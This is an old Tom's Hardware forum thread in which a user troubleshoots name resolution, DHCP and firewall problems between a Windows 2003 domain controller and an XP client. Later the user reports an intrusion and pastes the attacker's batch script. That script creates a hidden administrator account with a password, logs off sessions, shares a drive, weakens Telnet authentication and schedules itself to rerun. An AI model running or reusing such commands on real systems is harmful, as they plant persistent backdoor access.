Tom's Guide | Tom's Hardware | Tom's Games
 |
 |
 |
Hi, I have Windows XP (Worgroup) and a Windows 2003 server. I use to use my server name by typing \\server2003 which will list of the folders I have created on the server. Now for some reason, I can't ping to or access anymore. The server is configured with static ip like 192.X.X.X I also select to obtain automatically too but the XP client pc still can't access.
Here what I have done in windows 2003 server:
Disble Firewall
Reboot Server
Reboot my netgear router.. (Firewall already disable)I wonder should i re-install my active directory again? I don't want to do it since I may have to create many mailbox again. Any quick solution to fix this? Thank, Tim
Have you check the network connection of your 2003 server and xp client? Are they all connected to the network?
As long as your windows server and client are in the same local network,you should be able to ping the server with the ip address of the server. The active directory is for the domain control but not for workgroup.
0 
Hi, Yes they are in the same network and connected to the same switch. My server is domain controller in AD. My XP is just a plain workgroup. It was able to talk before, but now can't communicate anymore.
I noticed today pinging 192.168.X.X my server fine. I can access my file by that way. For some reason I can't access my file by just typing \\servername.
Now, I was playing around again and turn on Windows firewall, I can't ping or access my file by \\192.X.X.X. How would I protect my network neither one is not working? Thank, Tim
0
Also, I noticed if my Firewall is On, My exchange server doesn't work anymore. If I turn it off, my exchange is working. Do you think because I can ping my IP but not my computer name on my server?
0
Why would you be running Active Directory yet have xp in a workgroup? Kinda defeats having a domain...
Never disable the firewall on the router. Its your first level of protection.
If using software firewalls in addition to a hardware firewall [good choice] you have to properly configure them to trust the local lan subnet.
If you can't resolve by name its because you aren't pointed at the name server i.e. your DNS server on your DC.
Router should be configured to provide NO dhcp. Server should be configured to provide dhcp. Part of that config is to provide the dns server which in your case is your DC.
You configure your MS DNS to forward name resolution requests to the internet. You do this by putting your ISPs listed DNS servers in the Forwarders tab [not to be confused with forward lookup zone]
I will bet your workstation is getting dhcp from the router and the router is listing the isps dns servers which have no knowledge of your local server which is why you can't resolve names.
Imagine the power if you knew how to internet search
0
Ok I just take out DHCP from my router. Now when I connect my other pc to the LAN network, it doesn't renew any IP address. If I disable turn off windows firewall on the server, I was able to pull up. I try enable back the firewall, no IP again. Any reason why it does that? It seem the DHCP server is working since the my other pc pulling up an ip when firewall disable on the server. Any other suggestion? Thank
0
wanderer has a very good reply on Response Number 4. I guess you need to read it word by word.
For this IP pinging problem, you need to properly configure firewall.
0
Now my server got hack when I disable my windows firewall. Anyone ever seen this user before:
For some reason the hack user create batch called 1.bat in my D:\
Also I noticed there was an accounts created xiaker$ in my AD. I already removed it. Is there a way to protect my server from being hack again? This happen about 4 time already with the same user. Thank
@echo off
@attrib +s + r xyt.bat
@net user xiaker$ Jfwd2470 /add
@net localgroup administrators xiaker$ /add
@logoff 0
@logoff 1
@logoff 2
@logoff 3
@logoff 4
@logoff 5
@logoff 6
@logoff 7
@logoff 8
@logoff 9
@logoff 10
@net share h$=n:
@tlntadmn config sec = -ntlm@net stop schedule
@net start Schedule
@echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat
@echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat
@at 11:05 c:\WINNT\SYSTEM32\xyt.bat
@at 23:05 c:\WINNT\SYSTEM32\xyt.bat
@net stop telnet
@net start telnet
@exit
0
It would appear you have been hacked. Most likely occured when your firewall was down.
The ONLY and I mean ONLY solution is to completely wipe the server and reinstall from scratch.
This is because hackers leave other doors to come back in by once they are in.
Imagine the power if you knew how to internet search
0  |
 |
 |
This post is quite old and has been locked from receiving new replies. Please create a new posting instead.
| Ads by Google |
